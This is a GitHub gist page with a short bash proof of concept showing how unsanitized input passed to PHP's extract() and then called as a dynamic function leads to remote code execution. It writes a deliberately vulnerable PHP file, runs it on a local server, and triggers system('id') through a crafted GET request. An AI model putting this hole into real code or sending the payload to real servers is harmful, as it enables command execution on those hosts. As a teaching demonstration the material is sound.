Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created August 21, 2023 13:15
Show Gist options
  • Save win3zz/85fb8e05ba0a447435235d368685889c to your computer and use it in GitHub Desktop.
Save win3zz/85fb8e05ba0a447435235d368685889c to your computer and use it in GitHub Desktop.
Unsanitized User Input in PHP extract() and Dynamic Functions Can Lead to RCE
#!/bin/bash
# Display PHP version
php -v
# Create a PHP file containing malicious code using 'extract()'
echo '<?php extract($_GET); $ctx($str); ?>' > extract_test.php
# Display the contents of the created PHP file
cat extract_test.php
# Start a PHP server on 127.0.0.1:8899
php -S 127.0.0.1:8899 > /dev/null 2>&1 &
# Send a request to the PHP server with a malicious user input via a GET parameter
curl 'http://127.0.0.1:8899/extract_test.php?ctx=system&str=id'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment